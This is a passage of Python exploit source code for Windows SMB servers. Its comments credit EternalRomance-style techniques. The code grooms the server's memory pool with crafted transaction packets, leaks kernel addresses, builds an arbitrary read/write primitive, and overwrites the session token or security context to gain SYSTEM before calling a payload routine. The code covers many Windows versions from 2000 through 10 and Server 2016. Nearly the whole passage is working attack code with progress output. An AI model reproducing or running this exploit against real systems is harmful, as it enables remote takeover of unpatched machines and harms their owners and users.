'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO),
},
'WINXP': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
},
'WIN2K3': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
},
'WIN2K': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO),
},
}
TRANS_NAME_LEN = 4
HEAP_HDR_SIZE = 8 # heap chunk header size
def calc_alloc_size(size, align_size):
return (size + align_size - 1) & ~(align_size-1)
def wait_for_request_processed(conn):
#time.sleep(0.05)
# send echo is faster than sleep(0.05) when connection is very good
conn.send_echo('a')
def find_named_pipe(conn):
pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
found_pipe = None
for pipe in pipes:
try:
fid = conn.nt_create_andx(tid, pipe)
conn.close(tid, fid)
found_pipe = pipe
break
except smb.SessionError as e:
pass
conn.disconnect_tree(tid)
return found_pipe
special_mid = 0
extra_last_mid = 0
def reset_extra_mid(conn):
global extra_last_mid, special_mid
special_mid = (conn.next_mid() & 0xff00) - 0x100
extra_last_mid = special_mid
def next_extra_mid():
global extra_last_mid
extra_last_mid += 1
return extra_last_mid
# Borrow 'groom' and 'bride' word from NSA tool
# GROOM_TRANS_SIZE includes transaction name, parameters and data
# Note: the GROOM_TRANS_SIZE size MUST be multiple of 16 to make FRAG_TAG_OFFSET valid
GROOM_TRANS_SIZE = 0x5010
def leak_frag_size(conn, tid, fid):
# this method can be used on Windows Vista/2008 and later
# leak "Frag" pool size and determine target architecture
info = {}
# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
# From the leak info, we can determine the target architecture too.
mid = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2)
leakData = conn.recv_transaction_data(mid, 0x10d0+276)
leakData = leakData[0x10d4:] # skip parameters and its own input
# Detect target architecture and calculate frag pool size
if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
print('Target is 32 bit')
info['arch'] = 'x86'
info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']
elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
print('Target is 64 bit')
info['arch'] = 'x64'
info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']
else:
print('Not found Frag pool tag in leak data')
sys.exit()
print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
return info
def read_data(conn, info, read_addr, read_size):
fmt = info['PTR_FMT']
# modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
# modify trans2.*ParameterCount and trans2.*DataCount to limit data
new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr) # OutParameter, InData, OutData
new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount
new_data += pack('<III', 8, 8, 8) # ParamterCount, TotalParamterCount, MaxParameterCount
new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
# create one more transaction before leaking data
# - next transaction can be used for arbitrary read/write after the current trans2 is done
# - next transaction address is from TransactionListEntry.Flink value
conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)
# finish the trans2 to leak
conn.send_nt_trans_secondary(mid=info['trans2_mid'])
read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
# set new trans2 address
info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
# set trans1.InData to &trans2
conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
# modify trans2 mid
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
return read_data[8:] # no need to return parameter
def write_data(conn, info, write_addr, write_data):
# trans2.InData
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
# write data
conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
wait_for_request_processed(conn)
def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
trans_param = pack('<HH', fid, 0) # param for NT_RENAME
# fill large pagedpool holes (maybe no need)
for i in range(numFill):
conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
mid_ntrename = conn.next_mid()
# first GROOM, for leaking next BRIDE transaction
req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
# second GROOM, for controlling next BRIDE transaction
req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
# many BRIDEs, expect two of them are allocated at splitted pool from GROOM
reqs = []
for i in range(12):
mid = next_extra_mid()
reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
# expected transactions alignment ("Frag" pool is not shown)
#
# | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |
# +-------------------------------+----------------+-------------------------------+----------------+
# | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 |
# +-------------------------------+----------------+-------------------------------+----------------+
#
# If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
# From leaked transaction, we get
# - leaked transaction address from InParameter or InData
# - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
# With these information, we can verify the transaction aligment from displacement.
leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
leakData = leakData[0x10d4:] # skip parameters and its own input
#open('leak.dat', 'wb').write(leakData)
if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
print('Not found Frag pool tag in leak data')
return None
# ================================
# verify leak data
# ================================
leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
# check pool tag and size value in buffer header
expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
print('No transaction struct in leak data')
return None
leakTrans = leakData[leakTransOffset:]
ptrf = info['PTR_FMT']
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)
inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
print('CONNECTION: 0x{:x}'.format(connection_addr))
print('SESSION: 0x{:x}'.format(session_addr))
print('FLINK: 0x{:x}'.format(flink_value))
print('InParam: 0x{:x}'.format(inparam_value))
print('MID: 0x{:x}'.format(leak_mid))
next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
return None
# trans1: leak transaction
# trans2: next transaction
return {
'connection': connection_addr,
'session': session_addr,
'next_page_addr': next_page_addr,
'trans1_mid': leak_mid,
'trans1_addr': inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN,
'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
}
def exploit_matched_pairs(conn, pipe_name, info):
# for Windows 7/2008 R2 and later
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
fid = conn.nt_create_andx(tid, pipe_name)
info.update(leak_frag_size(conn, tid, fid))
# add os and arch specific exploit info
info.update(OS_ARCH_INFO[info['os']][info['arch']])
# groom: srv buffer header
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
# groom paramters and data is alignment by 8 because it is NT_TRANS
info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE'] # alignment (4)
# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
# bride paramters and data is alignment by 4 because it is TRANS
info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
# ================================
# try align pagedpool and leak info until satisfy
# ================================
leakInfo = None
# max attempt: 10
for i in range(10):
reset_extra_mid(conn)
leakInfo = align_transaction_and_leak(conn, tid, fid, info)
if leakInfo is not None:
break
print('leak failed... try again')
conn.close(tid, fid)
conn.disconnect_tree(tid)
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)
if leakInfo is None:
return False
info['fid'] = fid
info.update(leakInfo)
# ================================
# shift transGroom.Indata ptr with SmbWriteAndX
# ================================
shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
# Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
# So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
# maxParameterCount (0x1000), trans name (4), param (4)
indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
indata_next_trans_displacement = info['trans2_addr'] - indata_value
conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
if recvPkt.getNTStatus() != 0x10002: # invalid SMB
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
print('!!! Write to wrong place !!!')
print('the target might be crashed')
return False
print('success controlling groom transaction')
# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
# but this method make the transation never get freed
# I will avoid memory leak
# ================================
# modify trans1 struct to be used for arbitrary read/write
# ================================
print('modify trans1 struct for arbitrary read/write')
fmt = info['PTR_FMT']
# use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
# modify
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn)
# modify trans2.mid
info['trans2_mid'] = conn.next_mid()
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
return True
def exploit_fish_barrel(conn, pipe_name, info):
# for Windows Vista/2008 and earlier
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
fid = conn.nt_create_andx(tid, pipe_name)
info['fid'] = fid
if info['os'] == 'WIN7' and 'arch' not in info:
# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
info.update(leak_frag_size(conn, tid, fid))
if 'arch' in info:
# add os and arch specific exploit info
info.update(OS_ARCH_INFO[info['os']][info['arch']])
attempt_list = [ OS_ARCH_INFO[info['os']][info['arch']] ]
else:
# do not know target architecture
# this case is only for Windows 2003
# try offset of 64 bit then 32 bit because no target architecture
attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
# ================================
# groom packets
# ================================
# sum of transaction name, parameters and data length is 0x1000
# paramterCount = 0x100-TRANS_NAME_LEN
print('Groom packets')
trans_param = pack('<HH', info['fid'], 0)
for i in range(12):
mid = info['fid'] if i == 8 else next_extra_mid()
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
# expected transactions alignment
#
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
# | mid=mid1 | mid=mid2 | | mid=mid8 | mid=fid | mid=mid9 | mid=mid10 | mid=mid11 |
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
# trans1 trans2
# ================================
# shift transaction Indata ptr with SmbWriteAndX
# ================================
shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
# ================================
# Dangerous operation: attempt to control one transaction
# ================================
# Note: POOL_ALIGN value is same as heap alignment value
success = False
for tinfo in attempt_list:
print('attempt controlling next transaction on ' + tinfo['ARCH'])
HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
if recvPkt.getNTStatus() == 0x10002: # invalid SMB
print('success controlling one transaction')
success = True
if 'arch' not in info:
print('Target is '+tinfo['ARCH'])
info['arch'] = tinfo['ARCH']
info.update(OS_ARCH_INFO[info['os']][info['arch']])
break
if recvPkt.getNTStatus() != 0:
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
if not success:
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
print('!!! Write to wrong place !!!')
print('the target might be crashed')
return False
# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
# because of this unfreed memory chunk. I will avoid it.
# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
# transactions (do not know the address).
# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
# To be able to modify trans1 struct, we need to use trans2 param or data but write backward.
# On 32 bit target, we can write to any address if parameter count is 0xffffffff.
# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
# are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
# we also modify HIDWORD of InParameter to 0xffffffff.
print('modify parameter count to 0xffffffff to be able to write backward')
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
if info['arch'] == 'x64':
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn)
TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
# modify paramterCount of first transaction
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
if info['arch'] == 'x64':
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
# restore trans2.InParameters pointer before leaking next transaction
conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn)
# ================================
# leak transaction
# ================================
print('leak next transaction')
# modify TRANSACTION member to leak info
# function=5 (NT_TRANS_RENAME)
conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])
conn.send_nt_trans_secondary(mid=special_mid)
leakData = conn.recv_transaction_data(special_mid, 0x100)
leakData = leakData[4:] # remove param
#open('leak.dat', 'wb').write(leakData)
# check heap chunk size value in leak data
if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']):
print('chunk size is wrong')
return False
# extract leak transaction data and make next transaction to be trans2
leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
leakTrans = leakData[leakTranOffset:]
fmt = info['PTR_FMT']
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
print('CONNECTION: 0x{:x}'.format(connection_addr))
print('SESSION: 0x{:x}'.format(session_addr))
print('FLINK: 0x{:x}'.format(flink_value))
print('InData: 0x{:x}'.format(indata_value))
print('MID: 0x{:x}'.format(trans2_mid))
trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
print('TRANS1: 0x{:x}'.format(trans1_addr))
print('TRANS2: 0x{:x}'.format(trans2_addr))
# ================================
# modify trans struct to be used for arbitrary read/write
# ================================
print('modify transaction struct for arbitrary read/write')
# modify
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
# Note: HIDWORD of trans1.InParameter is still 0xffffffff
TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn)
# modify trans1.mid
trans1_mid = conn.next_mid()
conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
info.update({
'connection': connection_addr,
'session': session_addr,
'trans1_mid': trans1_mid,
'trans1_addr': trans1_addr,
'trans2_mid': trans2_mid,
'trans2_addr': trans2_addr,
})
return True
def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
SID_SYSTEM = pack('<BB5xB'+'I', 1, 1, 5, 18)
SID_ADMINISTRATORS = pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
SID_AUTHENICATED_USERS = pack('<BB5xB'+'I', 1, 1, 5, 11)
SID_EVERYONE = pack('<BB5xB'+'I', 1, 1, 1, 0)
# SID_SYSTEM and SID_ADMINISTRATORS must be added
sids = [ SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS ]
# - user has no attribute (0)
# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
attrs = [ 0, 0xe, 7, 7 ]
# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
# fake user and groups will be in same buffer of original one
# so fake sids size must NOT be bigger than the original sids
fakeUserAndGroupCount = min(userAndGroupCount, 4)
fakeUserAndGroupsAddr = userAndGroupsAddr
addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
fakeUserAndGroups = ''
for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
addr += len(sid)
fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
return fakeUserAndGroupCount, fakeUserAndGroups
def exploit(target, pipe_name):
conn = MYSMB(target)
# set NODELAY to make exploit much faster
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
info = {}
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
info['os'] = 'WIN7'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"):
info['os'] = 'WIN8'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'):
info['os'] = 'WIN7'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows Server 2003 "):
info['os'] = 'WIN2K3'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows 5.1"):
info['os'] = 'WINXP'
info['arch'] = 'x86'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows XP "):
info['os'] = 'WINXP'
info['arch'] = 'x64'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows 5.0"):
info['os'] = 'WIN2K'
info['arch'] = 'x86'
info['method'] = exploit_fish_barrel
else:
print('This exploit does not support this target')
sys.exit()
if pipe_name is None:
pipe_name = find_named_pipe(conn)
if pipe_name is None:
print('Not found accessible named pipe')
return False
print('Using named pipe: '+pipe_name)
if not info['method'](conn, pipe_name, info):
return False
# Now, read_data() and write_data() can be used for arbitrary read and write.
# ================================
# Modify this SMB session to be SYSTEM
# ================================
fmt = info['PTR_FMT']
print('make this SMB session to be SYSTEM')
# IsNullSession = 0, IsAdmin = 1
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
# read session struct to get SecurityContext address
sessionData = read_data(conn, info, info['session'], 0x100)
secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
# find the token and modify it
if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
else:
pctxtDataAddr = secCtxAddr
tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
print('current TOKEN addr: 0x{:x}'.format(tokenAddr))
# copy Token data for restoration
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
# parse necessary data out of token
userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)
print('overwriting token UserAndGroups')
# modify UserAndGroups info
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
else:
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
# copy SecurityContext for restoration
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
print('overwriting session security context')
# see FAKE_SECCTX detail at top of the file
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
# ================================
# do whatever we want as SYSTEM over this SMB connection
# ================================
try:
smb_pwn(conn, info['arch'])
except:
pass
# restore SecurityContext/Token
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
userAndGroupsOffset = userAndGroupsAddr - tokenAddr
write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount))
else:
write_data(conn, info, secCtxAddr, secCtxData)
conn.disconnect_tree(conn.get_tid())
conn.logoff()
conn.get_socket().close()
return True
def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
# struct _TOKEN:
# ...
# ULONG UserAndGroupCount; // Ro: 4-Bytes
# ULONG RestrictedSidCount; // Ro: 4-Bytes
# ...
# PSID_AND_ATTRIBUTES UserAndGroups; // Wr: sizeof(void*)
# PSID_AND_ATTRIBUTES RestrictedSids; // Ro: sizeof(void*)
# ...
userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset)
userAndGroupsAddr, RestrictedSids = unpack_from('<'+info['PTR_FMT']*2, tokenData, userAndGroupsAddrOffset)
# RestrictedSidCount MUST be 0
# RestrictedSids MUST be NULL
#
# userandGroupCount must NOT be 0
# userandGroupsAddr must NOT be NULL
#
# Could also add a failure point here if userAndGroupCount >= x
success = True
if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0:
print('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
print('RestrictedSids: 0x{:x}'.format(RestrictedSids))
print('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount))
success = False
print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
return success, userAndGroupCount, userAndGroupsAddr
def get_group_data_from_token(info, tokenData):
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']
# try with default offsets
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
# hack to fix XP SP0 and SP1
# I will avoid over-engineering a more elegant solution and leave this as a hack,
# since XP SP0 and SP1 is the only edge case in a LOT of testing!
